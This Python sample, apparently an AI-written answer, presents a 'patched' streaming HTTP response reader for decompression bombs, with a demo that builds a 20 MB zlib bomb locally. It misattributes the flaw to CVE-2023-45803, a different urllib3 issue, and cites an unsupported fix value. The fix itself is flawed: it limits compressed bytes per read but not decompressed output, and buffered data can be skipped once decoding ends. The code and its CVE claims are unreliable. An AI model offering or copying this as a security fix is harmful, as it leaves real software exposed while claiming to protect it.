Patched code sample

import zlib
import io

# The CVE-2025-66471 mentioned in the prompt appears to be a placeholder or does not exist
# at the time of writing. The behavior described is nearly identical to a real vulnerability,
# CVE-2023-45803, fixed in urllib3 v2.0.7. This code demonstrates the principle of that fix.

# The vulnerability occurs when a streaming reader tries to decompress data. A vulnerable
# implementation might keep reading small amounts of compressed data from the network until
# it has produced the requested amount of *decompressed* data. If the data is a
# "decompression bomb" (e.g., a highly compressed stream of null bytes), this could cause
# the library to read a small amount of data and try to decompress it into gigabytes of
# memory, leading to a Denial of Service.

# The fix is to put a reasonable upper limit on the amount of *compressed* data that will
# be read from the network in a single operation during a streaming decompression. This
# prevents a single 'read' call from allocating an excessive amount of memory.

class PatchedHTTPResponse:
    """
    A mock HTTPResponse class demonstrating the fix for a decompression bomb
    vulnerability (similar to CVE-2023-45803).
    """

    # THE FIX: Introduce a limit on how much compressed data is read at once.
    # This prevents a small, highly-compressed chunk from expanding into a
    # massive amount of data in memory in a single operation. In the real
    # urllib3 fix, this value is 1,000,000 bytes.
    MAX_DECOMPRESS_CHUNK_SIZE = 65536

    def __init__(self, compressed_data_stream):
        # A file-like object representing the raw response body from the network.
        self._fp = compressed_data_stream
        # A decompressor object (e.g., for gzip or deflate).
        self._decoder = zlib.decompressobj()
        # A buffer for holding decompressed data that has been read but not yet
        # returned to the user.
        self._decoded_buffer = b""
        self._is_closed = False

    def read(self, amt=None, decode_content=True):
        """
        Reads from the stream, applying the patched decompression logic.
        """
        if self._is_closed or not decode_content or not self._decoder:
            return self._fp.read(amt)

        # If we already have enough data in our buffer, return it.
        if amt is not None and len(self._decoded_buffer) >= amt:
            data = self._decoded_buffer[:amt]
            self._decoded_buffer = self._decoded_buffer[amt:]
            return data

        # This loop contains the patched logic. It reads from the compressed stream
        # and decompresses until 'amt' bytes are available.
        while amt is None or len(self._decoded_buffer) < amt:
            # --- THE FIX IS APPLIED HERE ---
            # We cap the amount of *compressed* data we read from the underlying
            # stream. This prevents us from reading a large payload that could
            # decompress to an enormous size in a single pass.
            bytes_to_read = self.MAX_DECOMPRESS_CHUNK_SIZE

            compressed_chunk = self._fp.read(bytes_to_read)

            if not compressed_chunk:
                # End of the compressed stream, flush the decoder.
                self._decoded_buffer += self._decoder.flush()
                self._decoder = None  # Decompression is finished.
                break

            self._decoded_buffer += self._decoder.decompress(compressed_chunk)

        # Return the requested amount of data from our buffer.
        if amt is None:
            data = self._decoded_buffer
            self._decoded_buffer = b""
        else:
            data = self._decoded_buffer[:amt]
            self._decoded_buffer = self._decoded_buffer[amt:]

        if not data:
            self.close()

        return data

    def stream(self, chunk_size=8192):
        """
        A generator that yields chunks of the response body.
        """
        while not self._is_closed:
            chunk = self.read(amt=chunk_size, decode_content=True)
            if not chunk:
                break
            yield chunk

    def close(self):
        """Closes the response."""
        self._is_closed = True
        self._fp.close()


def demonstrate_fix():
    """
    Sets up a "decompression bomb" scenario and shows how the patched
    code handles it safely by reading it in controlled chunks.
    """
    # 1. Create a highly compressible payload (a "bomb" of 20MB of null bytes).
    uncompressed_size = 20 * 1024 * 1024  # 20 MB
    uncompressed_data = b'\x00' * uncompressed_size

    # 2. Compress it. This will result in a very small amount of data.
    compressed_data = zlib.compress(uncompressed_data)
    print(f"Original data size: {uncompressed_size / 1024 / 1024:.2f} MB")
    print(f"Compressed data size (the 'bomb'): {len(compressed_data) / 1024:.2f} KB")
    print("-" * 40)

    # 3. Create a file-like object for the compressed data stream.
    compressed_stream = io.BytesIO(compressed_data)

    # 4. Use the PatchedHTTPResponse to stream the data.
    response = PatchedHTTPResponse(compressed_data_stream=compressed_stream)

    print("Streaming decompressed data using the patched reader...")
    total_bytes_streamed = 0
    chunk_count = 0

    # We request data in chunks. The patched 'read' method will not decompress
    # the entire bomb at once. Instead, it reads a limited amount of compressed
    # data, decompresses it, and yields a chunk, preventing excessive memory usage.
    for chunk in response.stream(chunk_size=1024 * 1024):  # 1MB chunks
        total_bytes_streamed += len(chunk)
        chunk_count += 1
        print(f"  -> Yielded chunk {chunk_count}, "
              f"Total streamed: {total_bytes_streamed / 1024 / 1024:.2f} MB")

    print("-" * 40)
    print("Streaming complete.")
    print(f"Total bytes streamed: {total_bytes_streamed / 1024 / 1024:.2f} MB")
    print(f"Original size matches streamed size: {total_bytes_streamed == uncompressed_size}")
    response.close()


if __name__ == "__main__":
    demonstrate_fix()